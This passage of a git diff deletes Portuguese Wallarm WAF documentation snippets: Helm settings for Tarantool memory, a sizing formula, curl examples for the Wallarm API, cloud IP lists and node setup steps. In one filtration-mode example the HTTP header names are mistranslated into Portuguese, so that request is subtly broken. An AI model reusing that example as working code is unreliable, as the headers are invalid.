exemplo: - -=== "Instalação do controlador Ingress" - ```bash - helm install --set controller.wallarm.tarantool.arena='0.4' ingress-chart/wallarm-ingress -n - ``` - - Também existem [outros parâmetros](../configure-kubernetes-en.md#additional-settings-for-helm-chart) necessários para a correta instalação do controlador Ingress. Por favor, passe-os na opção `--set` também. -=== "Atualização dos parâmetros do controlador Ingress" - ```bash - helm upgrade --reuse-values --set controller.wallarm.tarantool.arena='0.4' ingress-chart/wallarm-ingress -n - ``` \ No newline at end of file diff --git a/include-pt-BR/allocate-resources-for-waf-node/tarantool-memory-ingress-controller.md b/include-pt-BR/allocate-resources-for-waf-node/tarantool-memory-ingress-controller.md deleted file mode 100644 index f0fdac9869..0000000000 --- a/include-pt-BR/allocate-resources-for-waf-node/tarantool-memory-ingress-controller.md +++ /dev/null @@ -1,36 +0,0 @@ -A memória do Tarantool é configurada para o pod `ingress-controller-wallarm-tarantool` usando as seguintes seções no arquivo `values.yaml`: - -* Para configurar a memória em GB: - ``` - controller: - wallarm: - tarantool: - arena: "1.0" - ``` - -* Para configurar a memória em CPU: - ``` - controller: - wallarm: - tarantool: - resources: - limits: - cpu: 400m - memory: 3280Mi - requests: - cpu: 200m - memory: 1640Mi - ``` - -Os parâmetros listados são definidos usando a opção `--set` dos comandos `helm install` e `helm upgrade`, por exemplo: - -=== "Instalação do controlador de entrada" - ```bash - helm install --set controller.wallarm.tarantool.arena='1.0' wallarm/wallarm-ingress -n - ``` - - Também existem [outros parâmetros](../configure-kubernetes-en.md#additional-settings-for-helm-chart) necessários para a instalação correta do Controlador de Entrada. Por favor, passe-os na opção `--set` também. -=== "Atualizando parâmetros do controlador de entrada" - ```bash - helm upgrade --reuse-values --set controller.wallarm.tarantool.arena='0.4' wallarm/wallarm-ingress -n - ``` diff --git a/include-pt-BR/allocate-resources-for-waf-node/tarantool-memory.md b/include-pt-BR/allocate-resources-for-waf-node/tarantool-memory.md deleted file mode 100644 index 0432dcdff0..0000000000 --- a/include-pt-BR/allocate-resources-for-waf-node/tarantool-memory.md +++ /dev/null @@ -1,13 +0,0 @@ -O Postanalytics usa o armazenamento em memória Tarantool. O banco de dados Tarantool é usado para manter em um buffer circular uma cópia local do fluxo de dados processados por um nó de filtragem, incluindo cabeçalhos de solicitação/resposta e corpos de solicitação (mas não corpos de resposta). - -Para tornar um nó de filtragem eficiente, o banco de dados deve manter pelo menos 15 minutos de dados transmitidos com cerca de 2x de sobrecarga para a serialização de dados. Seguindo esses pontos, a quantidade de memória pode ser estimada pela fórmula: - -``` -Velocidade de processamento de solicitações por minuto em bytes * 15 * 2 -``` - -Por exemplo, se um nó de filtragem está manipulando no pico 50 Mbps de solicitações de usuários finais, o consumo de memória do banco de dados Tarantool necessário pode ser estimado da seguinte forma: - -``` -50 Mbps / 8 (bits em um byte) * 60 (segundos em um minuto) * 15 * 2 = 11.250 MB (ou ~ 11 GB) -``` \ No newline at end of file diff --git a/include-pt-BR/api-request-examples/add-ips-to-lists-from-file.md b/include-pt-BR/api-request-examples/add-ips-to-lists-from-file.md deleted file mode 100644 index daedee9bb0..0000000000 --- a/include-pt-BR/api-request-examples/add-ips-to-lists-from-file.md +++ /dev/null @@ -1,96 +0,0 @@ -=== "Nuvem dos EUA" - ```bash - #!/bin/bash - - UUID="" - SECRET="" - CLIENT="" - LIST="" - PATH_TO_CSV_FILE="" # caminho para o arquivo CSV com IPs ou subnets - APPLICATIONS="" - REMOVE_DATE="DATA_TIMESTAMP_REMOVER" - REASON='' - API="us1.api.wallarm.com" - - - index=0 - while read line; do - subnets[$index]="$line" - index=$(($index+1)) - done < "$PATH_TO_CSV_FILE" - - - for i in ${subnets[@]}; do - currentDate=`date -u +%s` - time=$REMOVE_DATE - remove_date=$(($currentDate+$time)) - - curl -X POST \ - https://$API/v4/ip_rules \ - -H "Content-Type: application/json" \ - -H "X-WallarmApi-Token: " \ - -d '{ - "clientid": '$CLIENT', - "ip_rule": { - "list": "'$LIST'", - "rule_type": "ip_range", - "subnet": "'$i'", - "expired_at": '$remove_date', - "pools": [ - '$APPLICATIONS' - ], - "reason": "'"$REASON"'" - }, - "force": false - }' - - done - ``` -=== "Nuvem da UE" - ```bash - #!/bin/bash - - UUID="" - SECRET="" - CLIENT="" - LIST="" - PATH_TO_CSV_FILE="" # caminho para o arquivo CSV com IPs ou subnets - APPLICATIONS="" - REMOVE_DATE="DATA_TIMESTAMP_REMOVER" - REASON='' - API="api.wallarm.com" - - - index=0 - while read line; do - subnets[$index]="$line" - index=$(($index+1)) - done < "$PATH_TO_CSV_FILE" - - - for i in ${subnets[@]}; do - currentDate=`date -u +%s` - time=$REMOVE_DATE - remove_date=$(($currentDate+$time)) - - curl -X POST \ - https://$API/v4/ip_rules \ - -H "Content-Type: application/json" \ - -H "X-WallarmApi-Token: " \ - -d '{ - "clientid": '$CLIENT', - "ip_rule": { - "list": "'$LIST'", - "rule_type": "ip_range", - "subnet": "'$i'", - "expired_at": '$remove_date', - "pools": [ - '$APPLICATIONS' - ], - "reason": "'"$REASON"'" - }, - "force": false - }' - - done - ``` diff --git a/include-pt-BR/api-request-examples/add-some-countries-to-lists.md b/include-pt-BR/api-request-examples/add-some-countries-to-lists.md deleted file mode 100644 index 40cb45b328..0000000000 --- a/include-pt-BR/api-request-examples/add-some-countries-to-lists.md +++ /dev/null @@ -1,16 +0,0 @@ -=== "Nuvem EUA" - ```bash - curl 'https://us1.api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"ip_rule":{"list":"","rule_type":"country","source_values":[],"pools":[],"expired_at":"","reason":""},"force":false}' - ``` -=== "Nuvem UE" - ```bash - curl 'https://api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"ip_rule":{"list":"","rule_type":"country","source_values":[],"pools":[],"expired_at":"","reason":""},"force":false}' - ``` \ No newline at end of file diff --git a/include-pt-BR/api-request-examples/add-some-ips-to-lists.md b/include-pt-BR/api-request-examples/add-some-ips-to-lists.md deleted file mode 100644 index 5fcfeea16c..0000000000 --- a/include-pt-BR/api-request-examples/add-some-ips-to-lists.md +++ /dev/null @@ -1,18 +0,0 @@ -Para adicionar IPs específicos ou sub-redes à lista de IPs, envie a seguinte solicitação para cada IP/sub-rede: - -=== "US Cloud" - ```bash - curl 'https://us1.api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"force":false,"ip_rule":{"list":"","reason":"","pools":[],"expired_at":,"rule_type":"ip_range","subnet":""}}' - ``` -=== "EU Cloud" - ```bash - curl 'https://api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"force":false,"ip_rule":{"list":"","reason":"","pools":[],"expired_at":,"rule_type":"ip_range","subnet":""}}' - ``` \ No newline at end of file diff --git a/include-pt-BR/api-request-examples/add-some-proxies-to-lists.md b/include-pt-BR/api-request-examples/add-some-proxies-to-lists.md deleted file mode 100644 index ed98e07cab..0000000000 --- a/include-pt-BR/api-request-examples/add-some-proxies-to-lists.md +++ /dev/null @@ -1,16 +0,0 @@ -=== "Nuvem US" - ```bash - curl 'https://us1.api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"ip_rule":{"list":"","rule_type":"proxy_type","source_values":[],"pools":[],"expired_at":"","reason":""},"force":false}' - ``` -=== "Nuvem EU" - ```bash - curl 'https://api.wallarm.com/v4/ip_rules' \ - -H 'X-WallarmApi-Token: ' \ - -H "accept: application/json" \ - -H "Content-Type: application/json" \ - --data-raw '{"clientid":,"ip_rule":{"list":"","rule_type":"proxy_type","source_values":[],"pools":[],"expired_at":"","reason":""},"force":false}' - ``` \ No newline at end of file diff --git a/include-pt-BR/api-request-examples/create-filtration-mode-rule-for-app.md b/include-pt-BR/api-request-examples/create-filtration-mode-rule-for-app.md deleted file mode 100644 index 4a25614847..0000000000 --- a/include-pt-BR/api-request-examples/create-filtration-mode-rule-for-app.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Nuvem dos EUA" - ```bash - curl 'https://us1.api.wallarm.com/v1/objects/hint/create' -H 'X-WallarmApi-Token: ' -H "aceita: application/json" -H "Tipo de conteúdo: application/json" --data-raw '{"clientid":,"type":"wallarm_mode","mode":"monitoring","validated":false,"action":[{"point":["instance"],"type":"equal","value":"3"}]}' - ``` -=== "Nuvem da UE" - ```bash - curl 'https://api.wallarm.com/v1/objects/hint/create' -H 'X-WallarmApi-Token: ' -H "aceita: application/json" -H "Tipo de conteúdo: application/json" --data-raw '{"clientid":,"type":"wallarm_mode","mode":"monitoring","validated":false,"action":[{"point":["instance"],"type":"equal","value":"3"}]}' - ``` \ No newline at end of file diff --git a/include-pt-BR/api-request-examples/create-rule-en.md b/include-pt-BR/api-request-examples/create-rule-en.md deleted file mode 100644 index 26dcb6e13f..0000000000 --- a/include-pt-BR/api-request-examples/create-rule-en.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Nuvem dos EUA" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"clientid\": YOUR_CLIENT_ID, \"type\": \"vpatch\", \"action\": [ {\"type\":\"equal\",\"value\":\"my\",\"point\":[\"path\",0]}, {\"type\":\"equal\",\"value\":\"api\",\"point\":[\"path\",1]}], \"validated\": false, \"point\": [ [ \"header\", \"HOST\" ] ], \"attack_type\": \"any\"}" - ``` -=== "Nuvem da UE" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"clientid\": YOUR_CLIENT_ID, \"type\": \"vpatch\", \"action\": [ {\"type\":\"equal\",\"value\":\"my\",\"point\":[\"path\",0]}, {\"type\":\"equal\",\"value\":\"api\",\"point\":[\"path\",1]}], \"validated\": false, \"point\": [ [ \"header\", \"HOST\" ] ], \"attack_type\": \"any\"}" - ``` \ No newline at end of file diff --git a/include-pt-BR/api-request-examples/create-rule-for-app-id.md b/include-pt-BR/api-request-examples/create-rule-for-app-id.md deleted file mode 100644 index cb97b8d271..0000000000 --- a/include-pt-BR/api-request-examples/create-rule-for-app-id.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Nuvem dos EUA" - ``` {.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"type\":\"vpatch\",\"action\":[{\"point\":[\"instance\"],\"type\":\"equal\",\"value\":\"-1\"},{\"point\":[\"path\",0],\"type\":\"equal\",\"value\":\"my\"},{\"point\":[\"path\",1],\"type\":\"equal\",\"value\":\"api\"}],\"clientid\":YOUR_CLIENT_ID,\"validated\":false,\"point\":[[\"header\",\"HOST\"]],\"attack_type\":\"any\"}" - ``` -=== "Nuvem da EU" - ``` {.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"type\":\"vpatch\",\"action\":[{\"point\":[\"instance\"],\"type\":\"equal\",\"value\":\"-1\"},{\"point\":[\"path\",0],\"type\":\"equal\",\"value\":\"my\"},{\"point\":[\"path\",1],\"type\":\"equal\",\"value\":\"api\"}],\"clientid\":YOUR_CLIENT_ID,\"validated\":false,\"point\":[[\"header\",\"HOST\"]],\"attack_type\":\"any\"}" - ``` \ No newline at end of file diff --git a/include-pt-BR/api-request-examples/create-rule-scanner.md b/include-pt-BR/api-request-examples/create-rule-scanner.md deleted file mode 100644 index 24bd4c5318..0000000000 --- a/include-pt-BR/api-request-examples/create-rule-scanner.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Nuvem dos EUA" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"type\":\"regex\",\"action\":[{\"point\":[\"header\",\"HOST\"],\"type\":\"equal\",\"value\":\"MY.DOMAIN.NAME\"}],\"clientid\":YOUR_CLIENT_ID,\"validated\":false,\"comment\":\"comment\",\"point\":[[\"header\",\"X-FORWARDED-FOR\"]],\"attack_type\":\"scanner\",\"regex\":\"^\(~\(44[.]33[.]22[.]11\)\)$\"}" - ``` -=== "Nuvem da EU" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/hint/create" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"type\":\"regex\",\"action\":[{\"point\":[\"header\",\"HOST\"],\"type\":\"equal\",\"value\":\"MY.DOMAIN.NAME\"}],\"clientid\":YOUR_CLIENT_ID,\"validated\":false,\"comment\":\"comment\",\"point\":[[\"header\",\"X-FORWARDED-FOR\"]],\"attack_type\":\"scanner\",\"regex\":\"^\(~\(44[.]33[.]22[.]11\)\)$\"}" - ``` \ No newline at end of file diff --git a/include-pt-BR/api-request-examples/delete-object-from-ip-list.md b/include-pt-BR/api-request-examples/delete-object-from-ip-list.md deleted file mode 100644 index ef2dcc715f..0000000000 --- a/include-pt-BR/api-request-examples/delete-object-from-ip-list.md +++ /dev/null @@ -1,18 +0,0 @@ -=== "Nuvem dos EUA" - ```bash - curl 'https://us1.api.wallarm.com/v4/ip_rules' \ - -X 'DELETE' \ - -H 'X-WallarmApi-Token: ' \ - -H 'accept: application/json' \ - -H 'content-type: application/json' \ - --data-raw '{"filter":{"clientid":,"id":[]}}' - ``` -=== "Nuvem da UE" - ```bash - curl 'https://api.wallarm.com/v4/ip_rules' \ - -X 'DELETE' \ - -H 'X-WallarmApi-Token: ' \ - -H 'accept: application/json' \ - -H 'content-type: application/json' \ - --data-raw '{"filter":{"clientid":,"id":[]}}' - ``` \ No newline at end of file diff --git a/include-pt-BR/api-request-examples/delete-rule-by-id.md b/include-pt-BR/api-request-examples/delete-rule-by-id.md deleted file mode 100644 index 0d94767cae..0000000000 --- a/include-pt-BR/api-request-examples/delete-rule-by-id.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Nuvem dos EUA" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/hint/delete" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"filter\":{\"clientid\":[YOUR_CLIENT_ID],\"id\": YOUR_RULE_ID}}" - ``` -=== "Nuvem da UE" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/hint/delete" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"filter\":{\"clientid\":[YOUR_CLIENT_ID],\"id\": YOUR_RULE_ID}}" - ``` \ No newline at end of file diff --git a/include-pt-BR/api-request-examples/get-all-configured-rules.md b/include-pt-BR/api-request-examples/get-all-configured-rules.md deleted file mode 100644 index a9e2068d61..0000000000 --- a/include-pt-BR/api-request-examples/get-all-configured-rules.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Nuvem dos EUA" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/hint" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"filter\":{\"clientid\": [SEU_ID_DE_CLIENTE]},\"order_by\": \"updated_at\",\"order_desc\": true,\"limit\": 1000,\"offset\": 0}" - ``` -=== "Nuvem da UE" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/hint" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"filter\":{\"clientid\": [SEU_ID_DE_CLIENTE]},\"order_by\": \"updated_at\",\"order_desc\": true,\"limit\": 1000,\"offset\": 0}" - ``` diff --git a/include-pt-BR/api-request-examples/get-attacks-en.md b/include-pt-BR/api-request-examples/get-attacks-en.md deleted file mode 100644 index a92203a62c..0000000000 --- a/include-pt-BR/api-request-examples/get-attacks-en.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Nuvem dos EUA" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/attack" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"filter\": { \"clientid\": [YOUR_CLIENT_ID], \"time\": [[TIMESTAMP, null]] }, \"offset\": 0, \"limit\": 50, \"order_by\": \"last_time\", \"order_desc\": true}" - ``` -=== "Nuvem da UE" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/attack" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"filter\": { \"clientid\": [YOUR_CLIENT_ID], \"time\": [[TIMESTAMP, null]] }, \"offset\": 0, \"limit\": 50, \"order_by\": \"last_time\", \"order_desc\": true}" - ``` \ No newline at end of file diff --git a/include-pt-BR/api-request-examples/get-conditions.md b/include-pt-BR/api-request-examples/get-conditions.md deleted file mode 100644 index 947e096670..0000000000 --- a/include-pt-BR/api-request-examples/get-conditions.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Nuvem dos EUA" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/action" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"filter\": { \"clientid\": [SEU_ID_DE_CLIENTE] }, \"offset\": 0, \"limit\": 1000}" - ``` -=== "Nuvem da EU" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/action" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"filter\": { \"clientid\": [SEU_ID_DE_CLIENTE] }, \"offset\": 0, \"limit\": 1000}" - ``` \ No newline at end of file diff --git a/include-pt-BR/api-request-examples/get-incidents-en.md b/include-pt-BR/api-request-examples/get-incidents-en.md deleted file mode 100644 index 935d07b35f..0000000000 --- a/include-pt-BR/api-request-examples/get-incidents-en.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Nuvem dos EUA" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/attack" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"filter\": { \"clientid\": [SEU_CLIENT_ID], \"\!vulnid\": null, \"time\": [[TIMESTAMP, null]] }, \"offset\": 0, \"limit\": 50, \"order_by\": \"last_time\", \"order_desc\": true}" - ``` -=== "Nuvem da UE" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/attack" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{ \"filter\": { \"clientid\": [SEU_CLIENT_ID], \"\!vulnid\": null, \"time\": [[TIMESTAMP, null]] }, \"offset\": 0, \"limit\": 50, \"order_by\": \"last_time\", \"order_desc\": true}" - ``` \ No newline at end of file diff --git a/include-pt-BR/api-request-examples/get-ip-list-contents.md b/include-pt-BR/api-request-examples/get-ip-list-contents.md deleted file mode 100644 index 2f34666fcd..0000000000 --- a/include-pt-BR/api-request-examples/get-ip-list-contents.md +++ /dev/null @@ -1,10 +0,0 @@ -=== "Nuvem dos EUA" - ```bash - curl 'https://us1.api.wallarm.com/v4/ip_rules?filter%5Bclientid%5D=&filter%5Blist%5D=&offset=0&limit=50' \ - -H 'X-WallarmApi-Token: ' - ``` -=== "Nuvem da UE" - ```bash - curl 'https://api.wallarm.com/v4/ip_rules?filter%5Bclientid%5D=&filter%5Blist%5D=&offset=0&limit=50' \ - -H 'X-WallarmApi-Token: ' - ``` \ No newline at end of file diff --git a/include-pt-BR/api-request-examples/get-rules-by-condition-id.md b/include-pt-BR/api-request-examples/get-rules-by-condition-id.md deleted file mode 100644 index 193b7a2861..0000000000 --- a/include-pt-BR/api-request-examples/get-rules-by-condition-id.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Nuvem dos EUA" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/hint" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"filter\":{\"clientid\": [YOUR_CLIENT_ID],\"actionid\": YOUR_CONDITION_ID},\"limit\": 1000,\"offset\": 0}" - ``` -=== "Nuvem da UE" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/hint" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"filter\":{\"clientid\": [YOUR_CLIENT_ID],\"actionid\": YOUR_CONDITION_ID},\"limit\": 1000,\"offset\": 0}" - ``` \ No newline at end of file diff --git a/include-pt-BR/api-request-examples/get-vulnerabilities.md b/include-pt-BR/api-request-examples/get-vulnerabilities.md deleted file mode 100644 index 4e811a5af6..0000000000 --- a/include-pt-BR/api-request-examples/get-vulnerabilities.md +++ /dev/null @@ -1,8 +0,0 @@ -=== "Nuvem dos EUA" - ```{.bash .wrapped-code} - curl -v -X POST "https://us1.api.wallarm.com/v1/objects/vuln" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"limit\":50, \"offset\":0, \"filter\":{\"clientid\":[YOUR_CLIENT_ID], \"testrun_id\":null, \"validated\":true, \"time\":[[TIMESTAMP, null]]}}" - ``` -=== "Nuvem da UE" - ```{.bash .wrapped-code} - curl -v -X POST "https://api.wallarm.com/v1/objects/vuln" -H "X-WallarmApi-Token: " -H "accept: application/json" -H "Content-Type: application/json" -d "{\"limit\":50, \"offset\":0, \"filter\":{\"clientid\":[YOUR_CLIENT_ID], \"testrun_id\":null, \"validated\":true, \"time\":[[TIMESTAMP, null]]}}" - ``` \ No newline at end of file diff --git a/include-pt-BR/api-request-examples/ip-list-request-params.md b/include-pt-BR/api-request-examples/ip-list-request-params.md deleted file mode 100644 index b15c147422..0000000000 --- a/include-pt-BR/api-request-examples/ip-list-request-params.md +++ /dev/null @@ -1,12 +0,0 @@ -| Parâmetro | Descrição | -| --------- | ----------- | -| `X-WallarmApi-Token` | Token para [acessar API Wallarm][access-wallarm-api-docs], copie-o do Wallarm Console → **Configurações** → **Tokens de API**. | -| `clientid` | ID de uma conta no Wallarm Cloud para preencher/ler a lista de IPs. -| `ip_rule.list` | O tipo de lista de IPs para adicionar objetos, pode ser: `black` (para a lista de negação), `white` (para a lista de permissões), `gray` (para a lista cinza). | -| `ip_rule.rule_type` | O tipo de objetos a adicionar à lista:
              • `ip_range` se estiver adicionando IPs ou sub-redes específicas
              • `country` se estiver adicionando países ou regiões
              • `proxy_type` se estiver adicionando serviços proxy (`VPN`, `SES`, `PUB`, `WEB`, `TOR`)
              • `datacenter` para outros tipos de fontes (`rackspace`, `tencent`, `plusserver`, `ovh`, `oracle`, `linode`, `ibm`, `huawei`, `hetzner`, `gce`, `azure`, `aws`, `alibaba`)
              | -| `ip_rule.subnet`
              (`rule_type:"ip_range"`) | IP ou sub-rede para adicionar à lista, por exemplo, `"1.1.1.1"`. | -| `ip_rule.source_values`
              (para outros valores `rule_type`) | Uma das opções:
              • Se `rule_type:"country"` - array de países no [formato ISO-3166](https://en.wikipedia.org/wiki/List_of_ISO_3166_country_codes), por exemplo, `["AX","AL"]`.
              • Se `rule_type:"proxy_type"` - array de serviços proxy, por exemplo, `["VPN","PUB"]`.
              • Se `rule_type:"datacenter"` - array de outros tipos de fontes, por exemplo, `["rackspace","huawei"]`.
              | -| `ip_rule.pools` | Array de [IDs de aplicações][application-docs] para permitir ou restringir o acesso para IPs, por exemplo, `[3,4]` para IDs de aplicações 3 e 4 ou `[0]` para todas as aplicações. -| `ip_rule.expired_at` | Data do [Unix Timestamp](https://www.unixtimestamp.com/) para remover os IPs da lista. O valor máximo é para sempre (`33223139044`). | -| `reason` | Motivo para permitir ou restringir o acesso para IPs. -| `force` | Se `true` e alguns objetos especificados na solicitação já estão na lista de IPs, o script sobrescreverá-os. | diff --git a/include-pt-BR/check-setup-installation-en.md b/include-pt-BR/check-setup-installation-en.md deleted file mode 100644 index 055011dd41..0000000000 --- a/include-pt-BR/check-setup-installation-en.md +++ /dev/null @@ -1 +0,0 @@ -Verifique se o nó de filtragem está sendo executado e filtrando o tráfego. Consulte [Verifique a operação do nó de filtragem](installation-check-operation-en.md). \ No newline at end of file diff --git a/include-pt-BR/cloud-ip-by-request.md b/include-pt-BR/cloud-ip-by-request.md deleted file mode 100644 index b75c4431db..0000000000 --- a/include-pt-BR/cloud-ip-by-request.md +++ /dev/null @@ -1,32 +0,0 @@ -!!! info "Endereços IP da Wallarm Cloud" - Para fornecer acesso ao Wallarm Cloud para seu sistema, você pode precisar de uma lista de seus endereços IP públicos: - - === "Nuvem EUA" - ``` - 35.235.66.155 - 34.102.90.100 - 34.94.156.115 - 35.235.115.105 - 34.94.85.217 - 34.94.51.234 - 34.102.59.122 - 34.94.238.72 - 35.235.100.79 - 34.102.45.38 - 34.94.241.21 - 34.102.90.100 - 34.94.203.193 - 34.94.238.221 - 34.94.9.23 - 34.94.118.150 - 34.94.193.9 - ``` - === "Nuvem UE" - ``` - 34.141.230.156 - 34.91.138.113 - 34.90.114.134 - 35.204.127.78 - 34.90.24.155 - 34.7.147.149 - ``` \ No newline at end of file diff --git a/include-pt-BR/configure-postanalytics-address-en.md b/include-pt-BR/configure-postanalytics-address-en.md deleted file mode 100644 index df0d980651..0000000000 --- a/include-pt-BR/configure-postanalytics-address-en.md +++ /dev/null @@ -1,22 +0,0 @@ -Adicione o endereço do servidor do postanalytics ao `/etc/nginx-wallarm/conf.d/wallarm.conf`: - -```bash -upstream wallarm_tarantool { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; -} - -# omitido - -wallarm_tarantool_upstream wallarm_tarantool; -``` - -!!! Aviso "Condições necessárias" - É requerido que as seguintes condições sejam satisfeitas para os parâmetros `max_conns` e `keepalive`: - - * O valor do parâmetro `keepalive` não deve ser inferior ao número de servidores Tarantool. - * O valor do parâmetro `max_conns` deve ser especificado para cada um dos servidores upstream Tarantool para evitar a criação de conexões excessivas. - - A String `# wallarm_tarantool_upstream wallarm_tarantool;` está comentada por padrão - por favor, delete `#`. \ No newline at end of file diff --git a/include-pt-BR/configure-postanalytics-address-kong-en.md b/include-pt-BR/configure-postanalytics-address-kong-en.md deleted file mode 100644 index 2c9bc76a23..0000000000 --- a/include-pt-BR/configure-postanalytics-address-kong-en.md +++ /dev/null @@ -1,22 +0,0 @@ -Adicione o endereço do servidor de postanalytics ao `/etc/kong/nginx-wallarm.template`: - -```bash -upstream wallarm_tarantool { - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - server :3313 max_fails=0 fail_timeout=0 max_conns=1; - - keepalive 2; -} - -# omitido - -wallarm_tarantool_upstream wallarm_tarantool; -``` - -!!! alerta "Condições requeridas" - É necessário que as seguintes condições sejam cumpridas para os parâmetros de `max_conns` e `keepalive`: - - * O valor do parâmetro `keepalive` não deve ser inferior ao número de servidores Tarantool. - * O valor do parâmetro `max_conns` deve ser especificado para cada um dos servidores Tarantool upstream para evitar a criação de conexões excessivas. - - A string `# wallarm_tarantool_upstream wallarm_tarantool;` está comentada por padrão - por favor, delete `#`. \ No newline at end of file diff --git a/include-pt-BR/connect-cloud-en.md b/include-pt-BR/connect-cloud-en.md deleted file mode 100644 index b2379a3815..0000000000 --- a/include-pt-BR/connect-cloud-en.md +++ /dev/null @@ -1,49 +0,0 @@ -[img-wl-console-users]: ../images/check-users.png - -[link-wl-console-us]: https://us1.my.wallarm.com/ -[link-wl-console-eu]: https://my.wallarm.com/ -[link-wl-console-users-us]: https://us1.my.wallarm.com/settings/users -[link-wl-console-users-eu]: https://my.wallarm.com/settings/users - -!!! info "Acesso à API" - A escolha da API para o seu nó de filtragem depende da nuvem que você está usando. Por favor, selecione a API de acordo: - - * Se você estiver usando , seu nó requer acesso ao `https://api.wallarm.com:444`. - * Se você estiver usando , seu nó requer acesso ao `https://us1.api.wallarm.com:444`. - - Certifique-se de que o acesso não está sendo bloqueado por um firewall. - -O nó de filtragem interage com a Wallarm Cloud. - -Para conectar o nó à nuvem usando as credenciais da sua conta na nuvem, siga os seguintes passos: - -1. Verifique se a sua conta Wallarm tem a função de **Administrador** ou **Deploy** habilitada e a autenticação de dois fatores desabilitada, o que permite conectar um nó de filtragem à Nuvem. - - Você pode verificar os parâmetros mencionados acima navegando para a lista de contas do usuário no Console Wallarm. - - * Se você estiver usando , proceda para o [link seguinte][link-wl-console-users-eu] para verificar suas configurações de usuário. - * Se você estiver usando , proceda para o [link seguinte][link-wl-console-users-us] para verificar as configurações do usuário. - - ![Lista de usuários no console Wallarm][img-wl-console-users] - - -2. Execute o script `addnode` em uma máquina na qual você está instalando o nó de filtragem: - - !!! info - Você deve escolher o script para executar, dependendo da Nuvem que está usando. - - * Se você estiver usando , execute o script na aba **US Cloud** abaixo. - * Se estiver usando , execute o script na aba **EU Cloud** abaixo. - - === "US Cloud" - ``` bash - sudo /usr/share/wallarm-common/addnode -H us1.api.wallarm.com - ``` - === "EU Cloud" - ``` bash - sudo /usr/share/wallarm-common/addnode - ``` - - Para especificar o nome do nó criado, use a opção `-n `. Além disso, o nome do nó pode ser alterado no Console Wallarm → **Nós**. - -3. Forneça o e-mail e a senha da sua conta Wallarm 